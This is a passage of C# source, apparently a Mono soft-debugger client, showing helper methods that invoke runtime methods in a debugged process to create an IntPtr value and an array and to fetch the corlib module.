long methid_alloc = GetMethod(true, "System.Runtime.InteropServices.Marshal", "AllocHGlobal", 1, new string[] { "Int32" });
if (methid_alloc < 0)
{
throw new TargetException("Cannot get id to create new IntPtr");
}
ValueImpl zero = new ValueImpl();
zero.Type = ElementType.I4;
zero.Value = 0;
ValueImpl data = RunMethod(methid_alloc, null, new ValueImpl[] { zero }); // this is to get the IntPtr type
data.Fields[0].Value = val;
return data;
}
public ValueImpl CreateArray(string typename, int length)
{
long type_tocreate = GetTypeObjID(true, typename);
long methid_createarray = GetMethod(true, "System.Array", "CreateInstance", 2, new string[] { "Type", "Int32" });
if (methid_createarray < 0)
{
throw new TargetException("Cannot get id to create new array.");
}
ValueImpl arg_elementtype = new ValueImpl();
ValueImpl arg_length = new ValueImpl();
arg_elementtype.Type = ElementType.Object;
arg_elementtype.Objid = type_tocreate;
arg_length.Type = ElementType.I4;
arg_length.Value = length;
ValueImpl val_array = RunMethod(methid_createarray, null, new ValueImpl[] { arg_elementtype, arg_length });
val_array.Type = ElementType.Object; // fix bug
return val_array;
}
public long GetCorlibModule()
{
return conn.Assembly_GetManifestModule(corlibid);
}
}
}